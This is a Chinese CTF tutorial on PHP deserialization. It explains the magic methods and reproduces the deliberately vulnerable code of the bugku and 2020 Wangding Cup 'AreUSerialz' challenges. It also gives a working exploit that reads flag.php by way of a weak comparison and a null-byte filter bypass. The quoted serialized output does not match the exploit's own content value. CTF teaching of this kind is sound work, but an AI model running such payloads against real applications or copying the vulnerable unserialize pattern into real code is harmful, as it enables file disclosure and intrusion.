序列化与反序列化
- 序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
- 反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
简而言之:就是序列化后将对象转换为二进制等形式,反序列化就是将其逆回来,就是数据类型格式的相互转换。
参考:https://blog.csdn.net/tree_ifconfig/article/details/82766587
反序列化漏洞原理
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
重要函数:
serialize() :将一个对象转换成字符串 。
unserialize() :将字符串还原成一个对象。
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法。
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
查看(反)序列化后的值,我们可以自己敲,也可以用在线php测试网站:
序列化后返回值类型参考这张图:
示例:
<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY"){//反序列化,将字符串反序列化成对象与KEY变量的值对比。
echo "$flag";
}
show_source(__FILE__);
//echo serialize($_KEY);
//有类
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象 a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>
在无类时,我们输入序列化后的值,其经过反序列化后与xiaodi对比,成功则返回flag.php:
例题:老版bugku的flag.php题目,比较简单。
考点有以下几处:
- bp抓包或postman构造数据包将以cookie方式提交,且提交的参数值为序列化后的空字节,而非变量$KEY,因为变量是后声明的!所以此处key就是迷惑人的。
- ==是值相等、===是全相等,值类型也要相同。
- if与elseif只会执行一个,因此提交时应将hint参数去掉。
有类时:
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象 a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>
看运行结果,我们知道创建对象时会自动调用构造函数,序列化是不会自动调用魔术方法的,而反序列化会自动调用苏醒函数,之后销毁对象时有会调用析构函数。
例题:2020-网鼎杯-青龙组-Web-AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
exp:
<?php
class FileHandler{
public $op=' 2';
public $filename='flag.php';
public $content="womeiyouyong";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
//序列化后得到的输出当做str参数的值提交。 输出结果为:O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
解析:
1.需要用public修饰成员属性,因为is_valid函数会检验我们序列化后传递的值必须位于ascii码32-125即可见字符,但此处有个知识点:protectd修饰的变量会引入不可见字符\x00对应的ascii码为0,我们虽然看不到,但是序列化后就会出现,如下图。有了空字符就会被函数拦截,因此想要绕过必须public修饰,因为php>7.1时对类属性的检测不严格,public就不会在序列化后出现空字节。
2.审计发现可以利用read()函数读取flag,并且只能利用析构函数,构造函数会直接覆盖我们的变量,析构函数中涉及弱类型比较,三个等于会比较类型和数值,我们可以构造 ‘(空格)+2’ 来绕过。
参考:
[CTF]PHP反序列化总结